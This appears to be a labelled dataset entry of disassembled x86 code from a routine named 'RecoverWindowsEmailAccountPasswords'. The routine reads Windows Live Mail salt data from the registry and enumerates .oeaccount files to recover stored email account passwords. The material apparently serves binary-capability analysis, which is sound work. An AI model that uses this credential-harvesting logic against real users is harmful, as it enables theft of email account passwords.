Function at 0x43d983
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10e8
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push edi
mov edi, dword [ebp + 0xc]
push eax
push edi
push str.RecoverWindowsEmailAccountPasswords
push str._n_n_s_:_Entered__Reg_s_File_s
mov dword [ebp - 0x10e8], eax
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x14
mov esi, 0x3e8
cmp eax, 1
lea eax, [ebp - 0x3ec]
push esi
push eax
jae 0x43da04
push dword [ebp - 0x10e8]
push edi
call fcn.004121e8
add esp, 0x10
test eax, eax
jne 0x43da42
mov ebx, str.RecoverWindowsEmailAccountPasswords
push ebx
push str._s_:_Windows_Live_Mail_data_not_found
call fcn.00449974
pop ecx
pop ecx
xor eax, eax
jmp 0x43dc07
push 0x66ae5d
push edi
call fcn.004121e8
add esp, 0x10
cmp dword [0x716c58], 1
jae 0x43da31
push edi
mov ebx, str.RecoverWindowsEmailAccountPasswords
push ebx
push str._s_:_Failed_to_find_salt_data_from_registry_location__s
call fcn.00449974
add esp, 0xc
jmp 0x43d9fd
push ebx
lea eax, [ebp - 0x3ec]
push esi
push eax
call fcn.006311ec
add esp, 0xc
lea eax, [ebp - 0x3ec]
push eax
call fcn.00631510
pop ecx
cmp byte [ebp + eax - 0x3ed], 0x5c
jne 0x43da77
lea eax, [ebp - 0x3ec]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, esi
jae 0x43dc16
mov byte [ebp + eax - 0x3ec], 0
lea eax, [ebp - 0x3ec]
mov ebx, str.RecoverWindowsEmailAccountPasswords
push eax
push ebx
push str._s_:_Final_Windows_Live_Mail_profile_path__s
call fcn.00449974
lea eax, [ebp - 0x3ec]
mov edi, 0x400
push eax
lea eax, [ebp - 0x7d4]
push edi
push eax
call fcn.006311ec
push 0x66d678
lea eax, [ebp - 0x7d4]
push edi
push eax
call fcn.00631246
lea eax, [ebp - 0x7d4]
push eax
push ebx
push str._s_:_Searching_for_Windows_Live_Mail_Account_Folders_within_search_path__s
call fcn.00449974
add esp, 0x30
lea eax, [ebp - 0x10e4]
push eax
lea eax, [ebp - 0x7d4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x43d9fd
lea eax, [ebp - 0x10b8]
push 0x67feac
push eax
call fcn.00631370
pop ecx
pop ecx
test eax, eax
je 0x43dbe7
lea eax, [ebp - 0x10b8]
push 0x67feb0
push eax
call fcn.00631370
pop ecx
pop ecx
test eax, eax
je 0x43dbe7
test byte [ebp - 0x10e4], 0x10
lea eax, [ebp - 0x10b8]
push eax
jne 0x43dbbc
lea eax, [ebp - 0xbbc]
push esi
push eax
call fcn.006311ec
lea eax, [ebp - 0xbbc]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0xbbc]
push eax
call fcn.00631711
lea eax, [ebp - 0xbbc]
push str..oeaccount
push eax
call fcn.00627320
add esp, 0x20
test eax, eax
je 0x43dbe7
lea eax, [ebp - 0x10b8]
push eax
push ebx
push str._s_:__Found_Account_file__s
call fcn.00449974
lea eax, [ebp - 0x10b8]
push eax
lea eax, [ebp - 0x3ec]
push eax
push 0x66c218
lea eax, [ebp - 0xfa4]
push esi
push eax
call fcn.00445d6d
lea eax, [ebp - 0xfa4]
push eax
push dword [ebp + 8]
call fcn.0043de80
add esp, 0x28
jmp 0x43dbe7
lea eax, [ebp - 0x3ec]
push eax
push 0x66c218
lea eax, [ebp - 0xfa4]
push esi
push eax
call fcn.00445d6d
lea eax, [ebp - 0xfa4]
push eax
push dword [ebp + 8]
call fcn.004101b5
add esp, 0x1c
lea ecx, [ebp - 0x10e4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x43daed
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3